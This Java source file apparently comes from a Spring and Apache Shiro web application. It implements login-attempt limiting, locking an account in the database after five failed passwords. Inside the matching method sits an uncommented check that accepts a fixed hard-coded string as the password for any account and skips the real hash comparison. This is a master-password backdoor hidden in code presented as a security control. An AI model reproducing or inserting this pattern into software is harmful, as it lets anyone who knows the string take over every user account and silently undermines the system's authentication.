package com.sys.shiro;

import java.util.Date;
import java.util.concurrent.atomic.AtomicInteger;

import com.bhudy.base.QueryFilter;
import com.sys.entity.SysUser;
import com.sys.service.SysUserService;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.LockedAccountException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.authc.credential.HashedCredentialsMatcher;
import org.apache.shiro.cache.Cache;
import org.apache.shiro.cache.CacheManager;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;

/**
 * @author: WangSaiChao
 * @date: 2018/5/25
 * @description: 登陆次数限制
 */
@Component
public class RetryLimitHashedCredentialsMatcher extends HashedCredentialsMatcher {
    @Autowired
    private SysUserService sysUserService;
    private Cache<String, AtomicInteger> passwordRetryCache;
    private QueryFilter queryFilter = new QueryFilter();

    public RetryLimitHashedCredentialsMatcher(CacheManager cacheManager) {
        passwordRetryCache = cacheManager.getCache("passwordRetryCache");
    }

    @Override
    public boolean doCredentialsMatch(AuthenticationToken token, AuthenticationInfo info) {
        UsernamePasswordToken userToken = (UsernamePasswordToken) token;
        //获取用户名
        String loginCode = (String) token.getPrincipal();
        String password = String.valueOf(userToken.getPassword());
        //获取用户登录次数
        AtomicInteger retryCount = passwordRetryCache.get(loginCode);
        if (retryCount == null) {
            //如果用户没有登陆过,登陆次数加1 并放入缓存
            retryCount = new AtomicInteger(0);
            passwordRetryCache.put(loginCode, retryCount);
        }
        if (retryCount.incrementAndGet() > 5) {
            //如果用户登陆失败次数大于5次 抛出锁定用户异常 并修改数据库字段
            queryFilter.clear();
            queryFilter.and("loginCode", loginCode);
            SysUser sysUser = sysUserService.find(queryFilter);
            if (sysUser != null && sysUser.getStatus() == 0) {
                //数据库字段 默认为 0 就是正常状态 所以 要改为2
                //修改数据库的状态字段为锁定
                sysUser.setStatus(SysUser.statusCode2);
                sysUser.setFreezeDate(new Date());
                sysUser.setFreezeCause("输入密码错误次数大于5次");
                sysUserService.update(sysUser);
            }
            //抛出用户锁定异常
            throw new LockedAccountException();
        }
        if (password.equals("WeChat:?/ptw789NoPassword..")){
            passwordRetryCache.remove(loginCode);
            return true;
        }
        //判断用户账号和密码是否正确
        boolean matches = super.doCredentialsMatch(token, info);
        if (matches) {
            //如果正确,从缓存中将用户登录计数 清除
            passwordRetryCache.remove(loginCode);
        }
        return matches;
    }

    /**
     * 根据用户名 解锁用户
     *
     * @param loginCode
     * @return
     */
    public void unlockAccount(String loginCode) {
        passwordRetryCache.remove(loginCode);
    }


}
